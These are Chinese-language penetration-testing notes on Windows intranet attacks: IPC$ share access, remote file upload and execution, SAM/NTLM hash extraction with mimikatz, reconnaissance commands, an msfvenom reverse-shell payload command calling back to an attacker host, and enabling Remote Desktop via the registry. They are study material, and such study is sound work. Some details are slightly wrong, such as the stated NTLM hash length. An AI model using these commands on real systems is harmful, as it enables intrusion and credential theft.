内网渗透知识点
参考链接:
1 | https://daiker.gitbook.io/windows-protocol/ |
IPC
0x01 简介
IPC$是共享”命名管道”的资源,他是为了让进程之间通信而开放的命名管道,可以验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$,连接者甚至可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。
指至少两个进程或线程之间传送数据或信号的一些技术或方法。
0x02 利用条件
139、445端口开启:IPC$连接可以实现远程登录及对默认共享的访问,而139端口的开启表示netbios协议的应用,我们可以通过139、445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,IPC$连接是需要139或445端口来支持的。- 管理员开启了默认共享:默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(C$、D$、E$)和系统目录
winnt或windows(admin$),我们通过IPC$连接可以实现对这些默认共享的访问。
0x03 操作命令
建立IPC$空连接
1
net use \\127.0.0.1\Iipc$ "" /user:""
建立完整的用户名,密码连接
1
net use \\127.0.0.1\ipc$ "password" /user:"username"
映射路径
1
net use z: \\127.0.0.1\c$ "password" /user:"username"
访问/删除路径
1
2
3直接访问:net use z: \\127.0.0.1\c$
删除映射的C盘,其他盘类推:net use c: /del
删除全部,会有提示要求按y确认:net use * /del删除IPC$连接
1
net use \\127.0.0.1\ipc$ /del
域中进行IPC$连接
1
2
3
4
5
6
7
8
9
10
11
12net use\\127.0.0.1\ipc$ "域成员密码" /user:域名\域成员账号
net use\\192.168.100.1\ipc$ "admin123456" /user:monkey111.com\win2003
dir \\moneky111.com\c$
上传exe文件:copy test.exe \\monkey111.com\c$
net use \\192.168.100.1\ipc$ /del
查看时间:net time \\127.0.0.1
运行程序:at \\127.0.0.1 时间 test.exe(时间要是后面的时间)
0x04 IPC$连接失败的原因
- 你的系统不是NT或以上的操作系统
- 对方没有打开IPC$默认共享
- 不能成功连接目标的139、445端口
- 命令输入错误
- 用户名或密码错误
0x05 常见错误号
- 错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限
- 错误号51,Windows无法找到网络路径:网络有问题
- 错误号53:,找不到网络路径:IP地址错误;目标为开机;目标lanmanserver服务为开启;目标有防火墙(端口过滤);
- 错误号67,找不到网络名:你的lanmanworkstation服务未启动;目标删除了IPC$
- 错误号1219,提供的凭据域已存在的凭据集冲突;你已经和对方建立了一个IPC$,请删除再连
- 错误号1326,未知的用户名或错误密码
- 错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动(连接域控会出现此情况)
- 错误号2242,此用户的密码已经过期:目标有账号策略,强制定期要求更改密码。
0x06 其他知识点
1 | 查看自己的共享:net share |
1 | 现在绝大多数的Windows操作系统默认策略不允许来自远程网络验证的空密码,所以IPC空连接已经被废弃 |
SAM
SAM称为安全账户管理器,SAM是用来存储Windows操作系统密码的数据库文件,为了避免明文密码泄露,SAM文件中保存的是明文密码经过一系列算法处理过的Hsah值,被保存的Hash分为LM Hash、NTLMHash。用户在本地或远程登录系统时,会将Hash值与SAM文件中保存的Hash值进行对比。在后期的Windows系统中,SAM文件中被保存的密码Hash都被密钥SYSKEY加密。
SAM文件在磁盘中的位置在C:\Windows\system32\config\sam,SAM文件在Windows系统启动后被系统锁定,无法进行移动和复制。
Hash
Windows系统为了保护用户明文密码不会被泄露,将明文密码转换为Hash值进行身份验证,被保存在SAM或ntds.dit中。
Hash背景
- LM Hash,在早期的Windows操作系统中奖明文密码转换为LM Hash保存在SAM文件中,因为LM Hash使用DES加密,密钥为硬编码1,算法又存在缺陷,所以被废弃,为了保证系统兼容性可以自行开启。
- NTLM Hash,在LM Hash算法被弃用时,NTLM Hashneo用来进行Windows本地及远程身份验证的凭据,长度为32bit,由数字和字母组成。
Hash示例
冒号前半段为LM Hash,冒号后半段为NTLM Hash
aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 net-NTLM Hash:admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
Hash产生
LM Hash:略
NTLM Hash:
1
2
3hex(16进制编码)
unicode编码
md4加密
获取Hash方法
1 | 使用卷影副本将SAM文件导出,配合SYSKEY利用mimikatz等工具获取NTLM Hash |
破解Hash
1 | LM Hash |
内网信息搜集常见的命令
1 | net view # 查看局域网内其他主机名 |
使用msf进行内网渗透
1 | msfvenom -platform windows -p windows/meterpreter/reverse_tcp Lhost=192.168.1.3 lport=4444 -b"\x00" -e x86/shikata_ga_nai -f exe > ./payload2.exe |
其他常见命令
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f # 开启远程桌面服务 |